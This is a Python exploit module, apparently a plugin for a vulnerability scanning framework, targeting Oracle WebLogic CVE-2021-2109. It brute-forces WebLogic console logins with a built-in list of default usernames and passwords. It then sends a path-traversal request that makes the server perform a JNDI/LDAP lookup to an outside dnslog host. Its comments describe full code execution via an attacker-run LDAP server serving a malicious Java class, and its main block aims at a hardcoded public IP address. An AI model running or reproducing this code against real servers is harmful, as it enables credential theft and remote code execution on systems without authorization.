# coding:utf-8
import requests
import urllib
import re
import time
requests.packages.urllib3.disable_warnings()

class c2Class(object):
    def __init__(self):
        self.vulname = 'Weblogic rce in loginin(CVE-2021-2109)'
        self.vulsystem= 'Weblogic'
        self.vulsystemintro = 'WebLogic是美国Oracle公司出品的一个application server，'\
        '确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型'\
        '分布式Web应用。'
        self.vulversion = '10.3.6.0.0; 12.1.3.0.0; 12.2.1.3.0; 12.2.1.4.0; 14.1.1.0.0'
        self.fofa='app="Weblogic_interface_7001"'
        self.findtime='2021-01-2'
        self.cveid='CVE-2021-2109'
        self.refer= 'https://xz.aliyun.com/t/9049?page=1\nhttps://www.o2oxy.cn/3019.html'
        self.bbb='进一步利用，需要公网vps运行ldap服务，并在ldap服务目录下生成一个恶意java class文件'
        self.testisok=True

        if __file__[-3:]=='pyc':
            self._file=__file__[:-1]
        else:
            self._file=__file__

        self.dnslog='wqla55.dnslog.cn'
        self.vulndnslog=self.dnslog[::-1].replace('.',';',1)[::-1] # kd17ah.dnslog;cn
        print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))

        self.headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
        'Connection': "close",
        'Content-Type': "application/json"}
        self.vulpath=r'/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(-ldap://{dnslog}/hello;AdminServer-)'
        # self.vulpath='/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(-ldap://%s/whocare;AdminServer-)'
        self.rc_host=re.compile('(?<=://).+?(?=[:/])')
        self.flag=200

        self.loginurl='/console/login/LoginForm.jsp'
        self.logintext='WebLogic'
        self.userlist=['weblogic','system','mary','joe','wlcsystem','wlpisystem','admin']
        self.pwdlist=['weblogic','welcomel','password','Oracle@123','security','wlcsystem','wlpisystem','admin','12345678']

    def init(self,host):
        flag=0
        url=host+self.loginurl
        try:
            req=requests.get(url=url,verify=False,allow_redirects=False,timeout=2)
            if req.status_code==200 and self.logintext in req.text:
                # print(host)
                flag=1
                # print(host)
        except:
            pass
        return flag       

    def bp(self,host,userid,pwdid):
        # https://www.cnblogs.com/haq5201314/p/9297208.html
        cookie=''
        url=host+'/console/j_security_check'
        user=self.userlist[userid]
        pwd=self.pwdlist[pwdid]
        data='j_username={}&j_password={}&j_character_encoding=UTF-8'.format(user,pwd)
        datas={} # 必须设为位键值对，否则爆破失败
        for j in data.split('&'):
            key,value=j.split('=',1)
            datas[key]=value
        try:
            time.sleep(1)
            req=requests.post(url=url,data=datas,verify=False,allow_redirects=False,timeout=2)
            # print(req.text)
            if req.status_code==302 and 'console' in req.headers['Location'] and 'LoginForm.jsp' not in req.headers['Location']:
                print('%s:%s|%s'%(host,user,pwd))
                cookie=req.headers['Set-Cookie']
                # print(cookie)
        except:
            pass
        return cookie

    def exp(self,host,cookie):
        status=0
        headers=self.headers
        headers['Cookie']=cookie
        url=host+self.vulpath
        prefix=self.rc_host.search(url).group()
        dnslog='%s.%s'%(prefix,self.vulndnslog)
        vulurl=url.replace('{dnslog}',dnslog)
        try:
            resp=requests.get(url=vulurl,headers=headers,verify=False,timeout=10)
            # print(resp.text)
            # print(resp.status_code)
            if self.flag == resp.status_code:
                returnData='vulpath: %s. u can check dnslog: %s'%(vulurl,dnslog) #
                status=1
        except Exception as e:
            print(e)
            returnData=str(e)
        return status,returnData


    def c2Func(self,target):
        state=0
        result_data=''
        if not target.startswith('*'):
            step=0
        else:
            step=int(target[1:2])
            data=target[2:]
        if step==0:
            if target.startswith(('http://','https://')): # 这是为了拿到 <http://主机名>这样格式的数据
                host=target+'/'
                host=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
            else:
                host='http://'+target
            if self.init(host)==0:
                return state,result_data
            result_data='*1'
            userid=0
            pwdid=0
            cookie=''
            result_data+='%s|%d|%d|%s'%(host,userid,pwdid,cookie)
            state=-1
            return state,result_data
        elif step==1:
            result_data='*1'
            host,userid,pwdid,cookie=data.split('|')
            userid=int(userid)
            pwdid=int(pwdid)
            cookie=self.bp(host,userid,pwdid)
            if cookie!='':
                result_data='*2'
                result_data+='%s|%d|%d|%s'%(host,userid,pwdid,cookie)
                state=-1
                return state,result_data
            pwdid+=1
            if pwdid==len(self.pwdlist):
                userid+=1
                if userid==len(self.userlist):
                    return state,result_data
                else:
                    pwdid=0
            else:
                pass
            result_data+='%s|%s|%s|%s'%(host,userid,pwdid,cookie)
            state=-1
            return state,result_data
        elif step==2:
            host,userid,pwdid,cookie=data.split('|')
            state,info=self.exp(host,cookie)
            if state==0:
                state,info=self.exp(host,cookie)# 如果失败，就再来一次
            if state==1:
                user=self.userlist[int(userid)]
                pwd=self.pwdlist[int(pwdid)]
                result_data='%s is vuln(%s), u/p: %s/%s. %s'%(host,self.vulname,user,pwd,info)
        return state,result_data 



if __name__ == '__main__':
    target='*2https://202.152.186.6|0|0|aa'
    pocObj=c2Class()
    print(pocObj.c2Func(target))
